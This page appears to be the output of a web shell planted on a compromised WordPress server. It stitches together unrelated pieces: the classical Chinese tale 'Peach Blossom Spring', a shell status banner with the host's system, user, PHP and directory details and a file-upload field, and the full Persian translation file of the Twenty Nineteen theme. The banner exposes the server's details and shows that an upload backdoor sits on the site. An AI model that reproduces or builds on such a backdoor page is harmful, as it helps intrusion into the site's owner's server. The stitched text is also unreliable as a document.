晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/rainic/public_html/wp-contentTZh/languages/themes/ |
Upload File : |
# Translation of Themes - Twenty Nineteen in Persian # This file is distributed under the same license as the Themes - Twenty Nineteen package. msgid "" msgstr "" "PO-Revision-Date: 2019-11-12 09:00:53+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: fa\n" "Project-Id-Version: Themes - Twenty Nineteen\n" #. Description of the theme msgid "Our 2019 default theme is designed to show off the power of the block editor. It features custom styles for all the default blocks, and is built so that what you see in the editor looks like what you'll see on your website. Twenty Nineteen is designed to be adaptable to a wide range of websites, whether you’re running a photo blog, launching a new business, or supporting a non-profit. Featuring ample whitespace and modern sans-serif headlines paired with classic serif body text, it's built to be beautiful on all screen sizes." msgstr "پوستهٔ پیشفرض ۲۰۱۹ وردپرس برای نمایش قدرت ویرایشگر بلوک طراحی شده است. این پوسته شیوههای سفارشی برای همهٔ بلوکهای پیشفرض را نمایان میکند؛ طوری ساخته شده که آنچه در ویرایشگر خود میبینید همان باشد که در وبگاه خود خواهید دید. دو هزار و نوزده برای انواع گوناگون وبگاهها مناسب است؛ از بلاگ تصویری گرفته تا کسب و کار یا کارهای عام المنفعه. بهره بردن از فضای خالی کافی و استفادهٔ مناسب از فونتهای مدرن سنس سریف برای سرمتنها در کنار فونتهای کلاسیک سریف برای متن باعث شده این پوسته در همهٔ اندازههای صفحه نمایش زیبا باشد. " #. Theme Name of the theme #: inc/block-patterns.php:20 msgid "Twenty Nineteen" msgstr "دو هزار و نوزده" #. translators: %s: Parent post link. #: single.php:31 msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%s</span>" msgstr "<span class=\"meta-nav\">منتشر شده در</span><span class=\"post-title\">%s</span>" #: template-parts/content/content-excerpt.php:18 #: template-parts/content/content.php:18 msgctxt "post" msgid "Featured" msgstr "ویژه" #: inc/template-functions.php:136 msgid "More" msgstr "بیشتر" #: functions.php:164 msgid "Light Gray" msgstr "خاکستری روشن" #: functions.php:159 msgid "Dark Gray" msgstr "خاکستری تیره" #: functions.php:169 msgid "White" msgstr "سفید" #: functions.php:130 msgid "Large" msgstr "بزرگ" #: functions.php:124 msgid "Normal" msgstr "معمولی" #: functions.php:118 msgid "Small" msgstr "کوچک" #: inc/customizer.php:56 msgctxt "primary color" msgid "Custom" msgstr "سفارسی" #: inc/template-functions.php:143 msgid "Back" msgstr "بازگشت" #: functions.php:125 msgid "M" msgstr "M" #: inc/customizer.php:55 msgctxt "primary color" msgid "Default" msgstr "پیشفرض" #: image.php:87 msgctxt "Parent post link" msgid "<span class=\"meta-nav\">Published in</span><br><span class=\"post-title\">%title</span>" msgstr "<span class=\"meta-nav\">منتشر شده در</span><br><span class=\"post-title\">%title</span>" #: inc/customizer.php:78 msgid "Apply a custom color for buttons, links, featured images, etc." msgstr "اعمال رنگ سفارشی برای دکمهها، پیوندها، تصاویر شاخص و …" #: footer.php:37 functions.php:60 msgid "Footer Menu" msgstr "فهرست پابرگ" #: functions.php:119 msgid "S" msgstr "S" #: functions.php:137 msgid "XL" msgstr "XL" #: functions.php:136 msgid "Huge" msgstr "خیلی بزرگ" #: functions.php:131 msgid "L" msgstr "L" #. translators: %s: WordPress version. #. translators: %s: WordPress version. #. translators: %s: WordPress version. #: inc/back-compat.php:43 inc/back-compat.php:60 inc/back-compat.php:83 msgid "Twenty Nineteen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again." msgstr "پوستهٔ دو هزار و نوزده به حداقل نسخهٔ 4.7 وردپرس نیاز دارد. شما در حال استفاده از نسخهٔ %s هستید. لطفا ارتقا دهید و دوباره امتحان کنید." #: inc/customizer.php:98 msgid "Apply a filter to featured images using the primary color" msgstr "پالایش تصاویر شاخص با استفاده از رنگ اصلی" #: image.php:56 msgid "Page" msgstr "برگه" #: image.php:70 msgctxt "Used before full size attachment link." msgid "Full size" msgstr "اندازهٔ کامل" #: functions.php:196 msgid "Add widgets here to appear in your footer." msgstr "ابزارکها را در اینجا اضافه کنید تا در پابرگ شما ظاهر شوند." #: inc/customizer.php:53 msgid "Primary Color" msgstr "رنگ اصلی" #: functions.php:194 template-parts/footer/footer-widgets.php:12 msgid "Footer" msgstr "پابرگ" #: header.php:25 msgid "Skip to content" msgstr "رفتن به محتوا" #. translators: Used between list items, there is a space after the comma. #. translators: Used between list items, there is a space after the comma. #: inc/template-tags.php:86 inc/template-tags.php:98 msgid ", " msgstr "، " #. translators: %d: Number of comments. #: template-parts/post/discussion-meta.php:16 msgid "%d Comment" msgid_plural "%d Comments" msgstr[0] "%d نظر" #: inc/template-functions.php:92 msgid "Archives:" msgstr "بایگانی:" #. translators: %s: Post title. Only visible to screen readers. #. translators: %s: Post title. Only visible to screen readers. #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:120 template-parts/content/content-page.php:41 #: template-parts/header/entry-header.php:32 msgid "Edit <span class=\"screen-reader-text\">%s</span>" msgstr "ویرایش <span class=\"screen-reader-text\">%s</span>" #: classes/class-twentynineteen-walker-comment.php:89 msgid "Edit" msgstr "ویرایش" #. translators: 1: Comment date, 2: Comment time. #: classes/class-twentynineteen-walker-comment.php:78 msgid "%1$s at %2$s" msgstr "%1$s در %2$s" #. translators: %s: Comment author link. #: classes/class-twentynineteen-walker-comment.php:59 msgid "%s <span class=\"screen-reader-text says\">says:</span>" msgstr "%s <span class=\"screen-reader-text says\">می گوید:</span>" #: inc/template-functions.php:82 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #: inc/template-functions.php:80 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #: image.php:52 template-parts/content/content-page.php:27 #: template-parts/content/content-single.php:40 #: template-parts/content/content.php:49 msgid "Pages:" msgstr "برگهها:" #: inc/template-functions.php:86 msgid "Post Type Archives: " msgstr "بایگانی نوع نوشته: " #: inc/template-functions.php:84 msgid "Daily Archives: " msgstr "بایگانی روزانه: " #: inc/template-functions.php:82 msgid "Monthly Archives: " msgstr "بایگانی ماهانه: " #: functions.php:59 msgid "Primary" msgstr "اصلی" #: comments.php:96 msgid "Next" msgstr "بعدی" #: comments.php:95 msgid "Previous" msgstr "قبلی" #. translators: %s: WordPress. #: footer.php:28 msgid "Proudly powered by %s." msgstr "با افتخار، نیرو گرفته از %s." #: 404.php:20 msgid "Oops! That page can’t be found." msgstr "اوه! صفحه پیدا نشد." #: template-parts/content/content-none.php:39 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "چیزی که میخواستید پیدا نشد. لطفا کلید واژههای دیگری را امتحان کنید." #: template-parts/post/discussion-meta.php:18 msgid "No comments" msgstr "بدون نظر" #: template-parts/post/author-bio.php:26 msgid "View more posts" msgstr "دیدن نوشتههای بیشتر" #. translators: %s: Post author. #: template-parts/post/author-bio.php:17 msgid "Published by %s" msgstr "از %s" #: template-parts/header/site-branding.php:33 msgid "Top Menu" msgstr "فهرست بالا" #. translators: %s: Post title. #. translators: %s: Post title. Only visible to screen readers. #. translators: %s: Post title. Only visible to screen readers. #: functions.php:225 template-parts/content/content-single.php:27 #: template-parts/content/content.php:36 msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "ادامهٔ <span class=\"screen-reader-text\">\"%s\"</span>" #: single.php:38 msgid "Next Post" msgstr "نوشتهٔ بعدی" #: single.php:39 msgid "Next post:" msgstr "نوشتهٔ بعدی:" #: single.php:42 msgid "Previous post:" msgstr "نوشتهٔ قبلی:" #: single.php:41 msgid "Previous Post" msgstr "نوشتهٔ قبلی" #: template-parts/content/content-none.php:16 msgid "Nothing Found" msgstr "چیزی پیدا نشد" #: template-parts/content/content-none.php:46 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "چیزی که میخواستید پیدا نشد. از جستجو کمک بگیرید." #: inc/template-tags.php:234 msgid "Older posts" msgstr "نوشتههای قدیمیتر" #: inc/template-tags.php:230 msgid "Newer posts" msgstr "نوشتههای تازهتر" #: inc/template-tags.php:104 msgid "Tags:" msgstr "برچسبها:" #: inc/template-tags.php:92 msgid "Posted in" msgstr "ارسال شده در" #: inc/template-tags.php:46 msgid "Posted by" msgstr "از" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:63 msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>" msgstr "نظر شما دربارهٔ <span class=\"screen-reader-text\">%s</span>" #. translators: %s: Taxonomy singular name. #: inc/template-functions.php:90 msgid "%s Archives:" msgstr "بایگانی %s:" #: inc/template-functions.php:80 msgid "Yearly Archives: " msgstr "بایگانی سالانه:" #: inc/template-functions.php:78 msgid "Author Archives: " msgstr "بایگانی نویسنده:" #: inc/template-functions.php:76 msgid "Tag Archives: " msgstr "بایگانی برچسب:" #: inc/template-functions.php:74 msgid "Category Archives: " msgstr "بایگانی دسته:" #: functions.php:61 template-parts/header/site-branding.php:46 msgid "Social Links Menu" msgstr "فهرست پیوندهای شبکههای اجتماعی" #: comments.php:92 comments.php:95 comments.php:96 msgid "Comments" msgstr "نظرات" #. translators: 1: Number of comments, 2: Post title. #: comments.php:44 msgctxt "comments title" msgid "%1$s reply on “%2$s”" msgid_plural "%1$s replies on “%2$s”" msgstr[0] "%1$s نظر دربارهٔ «%2$s»" #. translators: %s: Post title. #: comments.php:40 msgctxt "comments title" msgid "One reply on “%s”" msgstr "یک نظر دربارهٔ «%s»" #: comments.php:116 msgid "Comments are closed." msgstr "نظرات بسته شدهاند." #: comments.php:35 comments.php:105 comments.php:107 msgid "Leave a comment" msgstr "نظر دهید" #: comments.php:33 msgid "Join the Conversation" msgstr "گفتگو کنید" #: classes/class-twentynineteen-walker-comment.php:96 msgid "Your comment is awaiting moderation." msgstr "نظر شما در انتظار تایید است." #: 404.php:24 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "چیزی در اینجا پیدا نشد. میخواهید جستجو کنید؟" #. Theme URI of the theme msgid "https://wordpress.org/themes/twentynineteen/" msgstr "https://fa.wordpress.org/themes/twentynineteen/" #. Author of the theme msgid "the WordPress team" msgstr "تیم وردپرس" #. Author URI of the theme #: footer.php:25 msgid "https://wordpress.org/" msgstr "https://fa.wordpress.org/"